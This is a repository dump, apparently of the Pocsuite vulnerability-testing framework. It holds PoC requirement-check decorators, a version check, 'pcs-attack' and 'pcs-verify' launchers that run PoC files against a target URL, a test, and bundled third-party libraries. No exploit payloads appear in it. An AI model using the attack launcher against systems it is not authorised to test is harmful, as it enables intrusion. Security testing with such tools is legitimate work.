11 | from pocsuite.lib.core.enums import CUSTOM_LOGGING 12 | 13 | 14 | def require_header(field): 15 | def _require_header(function): 16 | @functools.wraps(function) 17 | def check_header(self, *args): 18 | poc_name = getattr(self, "name") 19 | headers = getattr(self, "headers") 20 | if field.lower() not in map(str.lower, headers.keys()): 21 | errMsg = "poc: %s need headers \"%s\"" % (poc_name, field) 22 | logger.log(CUSTOM_LOGGING.ERROR, errMsg) 23 | return 24 | return function(self, *args) 25 | return check_header 26 | return _require_header 27 | 28 | 29 | def require_param(field): 30 | def _require_param(function): 31 | @functools.wraps(function) 32 | def check_param(self, *args): 33 | poc_name = getattr(self, "name") 34 | params = getattr(self, "params") 35 | if field not in params: 36 | errMsg = "poc: %s need params \"%s\"" % (poc_name, field) 37 | logger.log(CUSTOM_LOGGING.ERROR, errMsg) 38 | return 39 | return function(self, *args) 40 | return check_param 41 | return _require_param 42 | 43 | 44 | def require(type, field): 45 | def _require(function): 46 | @functools.wraps(function) 47 | def check_type(self, *args): 48 | poc_name = getattr(self, "name") 49 | require_type = getattr(self, type) 50 | fields = [field] if isinstance(field, basestring) else field 51 | for _ in fields: 52 | if (not require_type) or (_.lower() not in map(str.lower, require_type.keys())): 53 | errMsg = "poc: %s need %s \"%s\"" % (poc_name, type, _) 54 | logger.log(CUSTOM_LOGGING.ERROR, errMsg) 55 | return 56 | return function(self, *args) 57 | return check_type 58 | return _require 59 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/requirescheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/lib/utils/versioncheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | 11 | PYVERSION = sys.version.split()[0] 12 | 13 | if PYVERSION >= "3" or PYVERSION < "2.6": 14 | exit("[-] incompatible Python version detected ('%s'). For successfully running pocsuite you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) 15 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/pocsuite_attack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | from pocsuite.pocsuite_cli import pcsInit 11 | from pocsuite.lib.core.common import banner 12 | from pocsuite.lib.core.common import dataToStdout 13 | from pocsuite.lib.core.settings import PCS_OPTIONS 14 | 15 | 16 | def main(): 17 | try: 18 | pocFile, targetUrl = sys.argv[1: 3] 19 | except ValueError: 20 | excMsg = "usage: pcs-attack [pocfile] [url]\n" 21 | excMsg += "pocsuite: error: too few arguments" 22 | dataToStdout(excMsg) 23 | sys.exit(1) 24 | 25 | PCS_OPTIONS.update( 26 | { 27 | 'url': targetUrl, 'pocFile': pocFile, 'headers': None, 'extra_params': None, 28 | 'host': None, 'Mode': 'attack', 'retry': None, 'delay': None, 'dork': None, 29 | 'vulKeyword': None, 30 | } 31 | ) 32 | pcsInit(PCS_OPTIONS) 33 | 34 | if __name__ == "__main__": 35 | main() 36 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/pocsuite_console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite.pocsuite_cli import modulePath 10 | from pocsuite.lib.core.consoles import PocsuiteInterpreter 11 | from pocsuite.lib.core.data import kb 12 | from pocsuite.lib.core.data import paths 13 | from pocsuite.lib.core.common import setPaths 14 | from pocsuite.lib.core.option import initializeKb 15 | 16 | 17 | def main(): 18 | paths.POCSUITE_ROOT_PATH = modulePath() 19 | setPaths() 20 | kb.unloadedList = {} 21 | 22 | initializeKb() 23 | 24 | pcs = PocsuiteInterpreter() 25 | pcs.shell_will_go() 26 | 27 | if __name__ == "__main__": 28 | main() 29 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/pocsuite_verify.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2016 pocsuite developers (https://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | import sys 10 | from pocsuite.pocsuite_cli import pcsInit 11 | from pocsuite.lib.core.settings import PCS_OPTIONS 12 | from pocsuite.lib.core.common import banner 13 | from pocsuite.lib.core.common import dataToStdout 14 | 15 | 16 | def main(): 17 | try: 18 | pocFile, targetUrl = sys.argv[1: 3] 19 | except ValueError: 20 | excMsg = "usage: pcs-verify [pocfile] [url]\n" 21 | excMsg += "pocsuite: error: too few arguments" 22 | dataToStdout(excMsg) 23 | sys.exit(1) 24 | 25 | PCS_OPTIONS.update( 26 | { 27 | 'url': targetUrl, 'pocFile': pocFile, 'headers': None, 28 | 'extra_params': None, 'host': None, 'retry': None, 29 | 'delay': None, 'dork': None, 'vulKeyword': None, 30 | } 31 | ) 32 | pcsInit(PCS_OPTIONS) 33 | 34 | if __name__ == "__main__": 35 | main() 36 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/tests/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/tests/test_pocsuite.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | 9 | from pocsuite import pocsuite_cli 10 | from pocsuite import pocsuite_verify 11 | from pocsuite import pocsuite_attack 12 | from pocsuite import pocsuite_console 13 | 14 | from pocsuite.pocsuite_cli import modulePath 15 | from pocsuite.lib.core.common import setPaths 16 | from pocsuite.lib.core.data import paths 17 | 18 | from nose.tools import assert_true 19 | 20 | 21 | class TestPocsuiteBase(object): 22 | 23 | def test_pocsuite_setpath(self): 24 | paths.POCSUITE_ROOT_PATH = modulePath() 25 | setPaths() 26 | assert_true(paths.POCSUITE_ROOT_PATH.endswith("pocsuite")) 27 | assert_true(paths.POCSUITE_OUTPUT_PATH.endswith("output")) 28 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/ansistrm/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/ansistrm/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/ansistrm/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/ansistrm/ansistrm.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/ansistrm/ansistrm.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/argparse/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/colorama/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/colorama/__init__.py -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | ''' 2 | This module generates ANSI character codes to printing colors to terminals. 3 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 4 | ''' 5 | 6 | CSI = '\033[' 7 | 8 | def code_to_chars(code): 9 | return CSI + str(code) + 'm' 10 | 11 | class AnsiCodes(object): 12 | def __init__(self, codes): 13 | for name in dir(codes): 14 | if not name.startswith('_'): 15 | value = getattr(codes, name) 16 | setattr(self, name, code_to_chars(value)) 17 | 18 | class AnsiFore: 19 | BLACK = 30 20 | RED = 31 21 | GREEN = 32 22 | YELLOW = 33 23 | BLUE = 34 24 | MAGENTA = 35 25 | CYAN = 36 26 | WHITE = 37 27 | RESET = 39 28 | 29 | class AnsiBack: 30 | BLACK = 40 31 | RED = 41 32 | GREEN = 42 33 | YELLOW = 43 34 | BLUE = 44 35 | MAGENTA = 45 36 | CYAN = 46 37 | WHITE = 47 38 | RESET = 49 39 | 40 | class AnsiStyle: 41 | BRIGHT = 1 42 | DIM = 2 43 | NORMAL = 22 44 | RESET_ALL = 0 45 | 46 | Fore = AnsiCodes( AnsiFore ) 47 | Back = AnsiCodes( AnsiBack ) 48 | Style = AnsiCodes( AnsiStyle ) 49 | 50 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | import atexit 2 | import sys 3 | 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | 7 | orig_stdout = sys.stdout 8 | orig_stderr = sys.stderr 9 | 10 | wrapped_stdout = sys.stdout 11 | wrapped_stderr = sys.stderr 12 | 13 | atexit_done = False 14 | 15 | 16 | def reset_all(): 17 | AnsiToWin32(orig_stdout).reset_all() 18 | 19 | 20 | def init(autoreset=False, convert=None, strip=None, wrap=True): 21 | 22 | if not wrap and any([autoreset, convert, strip]): 23 | raise ValueError('wrap=False conflicts with any other arg=True') 24 | 25 | global wrapped_stdout, wrapped_stderr 26 | sys.stdout = wrapped_stdout = \ 27 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 28 | sys.stderr = wrapped_stderr = \ 29 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 30 | 31 | global atexit_done 32 | if not atexit_done: 33 | atexit.register(reset_all) 34 | atexit_done = True 35 | 36 | 37 | def deinit(): 38 | sys.stdout = orig_stdout 39 | sys.stderr = orig_stderr 40 | 41 | 42 | def reinit(): 43 | sys.stdout = wrapped_stdout 44 | sys.stderr = wrapped_stdout 45 | 46 | 47 | def wrap_stream(stream, convert, strip, autoreset, wrap): 48 | if wrap: 49 | wrapper = AnsiToWin32(stream, 50 | convert=convert, strip=strip, autoreset=autoreset) 51 | if wrapper.should_wrap(): 52 | stream = wrapper.stream 53 | return stream 54 | 55 | 56 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/odict/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # The BSD License 4 | # 5 | # Copyright 2003-2008 Nicola Larosa, Michael Foord 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to deal 9 | # in the Software without restriction, including without limitation the rights 10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | # copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 23 | # THE SOFTWARE. 24 | # 25 | 26 | pass 27 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/odict/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/odict/__init__.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/odict/odict.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/odict/odict.pyc -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/oset/LICENSE.txt: -------------------------------------------------------------------------------- 1 | License 2 | ======= 3 | 4 | Copyright (c) 2009, Raymond Hettinger, and others 5 | All rights reserved. 6 | 7 | Package structured based on the one developed to odict 8 | Copyright (c) 2010, BlueDynamics Alliance, Austria 9 | 10 | 11 | * Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | * Redistributions in binary form must reproduce the above copyright notice, this 14 | list of conditions and the following disclaimer in the documentation and/or 15 | other materials provided with the distribution. 16 | * Neither the name of the BlueDynamics Alliance nor the names of its 17 | contributors may be used to endorse or promote products derived from this 18 | software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY BlueDynamics Alliance ``AS IS`` AND ANY 21 | EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 22 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL BlueDynamics Alliance BE LIABLE FOR ANY 24 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 25 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 26 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 27 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 29 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/oset/__init__.py: -------------------------------------------------------------------------------- 1 | """Main Ordered Set module """ 2 | 3 | from pyoset import oset 4 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/oset/pyoset.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- mode:python; tab-width: 2; coding: utf-8 -*- 3 | 4 | """Partially backported python ABC classes""" 5 | 6 | from __future__ import absolute_import 7 | 8 | try: 9 | from collections import MutableSet 10 | except ImportError: 11 | # Running in Python <= 2.5 12 | from ._abc import MutableSet 13 | 14 | 15 | KEY, PREV, NEXT = range(3) 16 | 17 | 18 | class OrderedSet(MutableSet): 19 | 20 | def __init__(self, iterable=None): 21 | self.end = end = [] 22 | end += [None, end, end] # sentinel node for doubly linked list 23 | self.map = {} # key --> [key, prev, next] 24 | if iterable is not None: 25 | self |= iterable 26 | 27 | def __len__(self): 28 | return len(self.map) 29 | 30 | def __contains__(self, key): 31 | return key in self.map 32 | 33 | def __getitem__(self, key): 34 | return list(self)[key] 35 | 36 | def add(self, key): 37 | if key not in self.map: 38 | end = self.end 39 | curr = end[PREV] 40 | curr[NEXT] = end[PREV] = self.map[key] = [key, curr, end] 41 | 42 | def discard(self, key): 43 | if key in self.map: 44 | key, prev, next = self.map.pop(key) 45 | prev[NEXT] = next 46 | next[PREV] = prev 47 | 48 | def __iter__(self): 49 | end = self.end 50 | curr = end[NEXT] 51 | while curr is not end: 52 | yield curr[KEY] 53 | curr = curr[NEXT] 54 | 55 | def __reversed__(self): 56 | end = self.end 57 | curr = end[PREV] 58 | while curr is not end: 59 | yield curr[KEY] 60 | curr = curr[PREV] 61 | 62 | def pop(self, last=True): 63 | if not self: 64 | raise KeyError('set is empty') 65 | key = reversed(self).next() if last else iter(self).next() 66 | self.discard(key) 67 | return key 68 | 69 | def __repr__(self): 70 | if not self: 71 | return '%s()' % (self.__class__.__name__,) 72 | return '%s(%r)' % (self.__class__.__name__, list(self)) 73 | 74 | def __eq__(self, other): 75 | if isinstance(other, OrderedSet): 76 | return len(self) == len(other) and list(self) == list(other) 77 | return set(self) == set(other) 78 | 79 | def __del__(self): 80 | if all([KEY, PREV, NEXT]): 81 | self.clear() # remove circular references 82 | 83 | oset = OrderedSet 84 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/prettytable/COPYING: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2009-2013 Luke Maurits 2 | # All rights reserved. 3 | # With contributions from: 4 | # * Chris Clark 5 | # * Christoph Robbert 6 | # * Klein Stephane 7 | # * "maartendb" 8 | # 9 | # Redistribution and use in source and binary forms, with or without 10 | # modification, are permitted provided that the following conditions are met: 11 | # 12 | # * Redistributions of source code must retain the above copyright notice, 13 | # this list of conditions and the following disclaimer. 14 | # * Redistributions in binary form must reproduce the above copyright notice, 15 | # this list of conditions and the following disclaimer in the documentation 16 | # and/or other materials provided with the distribution. 17 | # * The name of the author may not be used to endorse or promote products 18 | # derived from this software without specific prior written permission. 19 | # 20 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 23 | # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE 24 | # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 25 | # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 26 | # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 27 | # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 28 | # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 29 | # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 30 | # POSSIBILITY OF SUCH DAMAGE. 31 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/prettytable/MANIFEST.in: -------------------------------------------------------------------------------- 1 | include COPYING 2 | include CHANGELOG 3 | include README 4 | include prettytable_test.py 5 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/prettytable/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.0 2 | Name: prettytable 3 | Version: 0.7.2 4 | Summary: A simple Python library for easily displaying tabular data in a visually appealing ASCII table format 5 | Home-page: http://code.google.com/p/prettytable 6 | Author: Luke Maurits 7 | Author-email: luke@maurits.id.au 8 | License: BSD (3 clause) 9 | Description: UNKNOWN 10 | Platform: UNKNOWN 11 | Classifier: Programming Language :: Python 12 | Classifier: Programming Language :: Python :: 2.4 13 | Classifier: Programming Language :: Python :: 2.5 14 | Classifier: Programming Language :: Python :: 2.6 15 | Classifier: Programming Language :: Python :: 2.7 16 | Classifier: Programming Language :: Python :: 3 17 | Classifier: License :: OSI Approved :: BSD License 18 | Classifier: Topic :: Text Processing 19 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/prettytable/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Copyright (c) 2014-2015 pocsuite developers (http://seebug.org) 6 | See the file 'docs/COPYING' for copying permission 7 | """ 8 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/CHANGES: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/CHANGES -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/LICENSE: -------------------------------------------------------------------------------- 1 | Permission is hereby granted, free of charge, to any person obtaining 2 | a copy of this software and associated documentation files (the 3 | "Software"), to deal in the Software without restriction, including 4 | without limitation the rights to use, copy, modify, merge, publish, 5 | distribute, sublicense, and/or sell copies of the Software, and to 6 | permit persons to whom the Software is furnished to do so, subject to 7 | the following conditions: 8 | 9 | The above copyright notice and this permission notice shall be 10 | included in all copies or substantial portions of the Software. 11 | 12 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 13 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 14 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 15 | IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY 16 | CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 17 | TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE 18 | SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 19 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/PKG-INFO: -------------------------------------------------------------------------------- 1 | Metadata-Version: 1.0 2 | Name: pyparsing 3 | Version: 2.0.3 4 | Summary: Python parsing module 5 | Home-page: http://pyparsing.wikispaces.com/ 6 | Author: Paul McGuire 7 | Author-email: ptmcg@users.sourceforge.net 8 | License: MIT License 9 | Download-URL: http://sourceforge.net/project/showfiles.php?group_id=97203 10 | Description: UNKNOWN 11 | Platform: UNKNOWN 12 | Classifier: Development Status :: 5 - Production/Stable 13 | Classifier: Intended Audience :: Developers 14 | Classifier: Intended Audience :: Information Technology 15 | Classifier: License :: OSI Approved :: MIT License 16 | Classifier: Operating System :: OS Independent 17 | Classifier: Programming Language :: Python 18 | Classifier: Programming Language :: Python :: 2.6 19 | Classifier: Programming Language :: Python :: 2.7 20 | Classifier: Programming Language :: Python :: 3 21 | Classifier: Programming Language :: Python :: 3.0 22 | Classifier: Programming Language :: Python :: 3.1 23 | Classifier: Programming Language :: Python :: 3.2 24 | Classifier: Programming Language :: Python :: 3.3 25 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/README: -------------------------------------------------------------------------------- 1 | ==================================== 2 | PyParsing -- A Python Parsing Module 3 | ==================================== 4 | 5 | Introduction 6 | ============ 7 | 8 | The pyparsing module is an alternative approach to creating and executing 9 | simple grammars, vs. the traditional lex/yacc approach, or the use of 10 | regular expressions. The pyparsing module provides a library of classes 11 | that client code uses to construct the grammar directly in Python code. 12 | 13 | Here is a program to parse "Hello, World!" (or any greeting of the form 14 | ", !"): 15 | 16 | from pyparsing import Word, alphas 17 | greet = Word( alphas ) + "," + Word( alphas ) + "!" 18 | hello = "Hello, World!" 19 | print hello, "->", greet.parseString( hello ) 20 | 21 | The program outputs the following: 22 | 23 | Hello, World! -> ['Hello', ',', 'World', '!'] 24 | 25 | The Python representation of the grammar is quite readable, owing to the 26 | self-explanatory class names, and the use of '+', '|' and '^' operator 27 | definitions. 28 | 29 | The parsed results returned from parseString() can be accessed as a 30 | nested list, a dictionary, or an object with named attributes. 31 | 32 | The pyparsing module handles some of the problems that are typically 33 | vexing when writing text parsers: 34 | - extra or missing whitespace (the above program will also handle 35 | "Hello,World!", "Hello , World !", etc.) 36 | - quoted strings 37 | - embedded comments 38 | 39 | The .zip file includes examples of a simple SQL parser, simple CORBA IDL 40 | parser, a config file parser, a chemical formula parser, and a four- 41 | function algebraic notation parser. It also includes a simple how-to 42 | document, and a UML class diagram of the library's classes. 43 | 44 | 45 | 46 | Installation 47 | ============ 48 | 49 | Do the usual: 50 | 51 | python setup.py install 52 | 53 | (pyparsing requires Python 2.3.2 or later.) 54 | 55 | 56 | Documentation 57 | ============= 58 | 59 | See: 60 | 61 | HowToUsePyparsing.html 62 | 63 | 64 | License 65 | ======= 66 | 67 | MIT License. See header of pyparsing.py 68 | 69 | History 70 | ======= 71 | 72 | See CHANGES file. 73 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/crarr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/crarr.png -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/frames.html: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | pyparsing 7 | 8 | 9 | 10 | 12 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/index.html: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | pyparsing 7 | 8 | 9 | 10 | 12 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/pyparsing_2.0.2_docs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/pyparsing_2.0.2_docs.zip -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/htmldoc/toc.html: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | Table of Contents 7 | 8 | 9 | 10 | 11 | 13 |

    Table of Contents

    14 |
    15 | Everything 16 |
    17 |

    Modules

    18 | pyparsing.pyparsing

    20 | 21 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.JPG -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ibey0nd/NSTScan-cli/faa03e0bad5467878be8ecc80326afc02711e703/thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/pyparsingClassDiagram.PNG -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/robots.txt: -------------------------------------------------------------------------------- 1 | User-agent: * 2 | Disallow: /htmldoc 3 | -------------------------------------------------------------------------------- /thirdparty/Pocsuite/pocsuite/thirdparty/pyparsing/setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """Setup script for the pyparsing module distribution.""" 4 | from distutils.core import setup 5 | 6 | import sys 7 | import os 8 | 9 | from pyparsing import __version__ as pyparsing_version 10 | 11 | modules = ["pyparsing",] 12 | 13 | setup(# Distribution meta-data 14 | name = "pyparsing", 15 | version = pyparsing_version, 16 | description = "Python parsing module", 17 | author = "Paul McGuire", 18 | author_email = "ptmcg@users.sourceforge.net", 19 | url = "http://pyparsing.wikispaces.com/", 20 | download_url = "http://sourceforge.net/project/showfiles.php?group_id=97203", 21 | license = "MIT License", 22 | py_modules = modules, 23 | classifiers=[ 24 | 'Development Status :: 5 - Production/Stable', 25 | 'Intended Audience :: Developers', 26 | 'Intended Audience :: Information Technology', 27 | 'License :: OSI Approved :: MIT License', 28 | 'Operating System :: OS Independent', 29 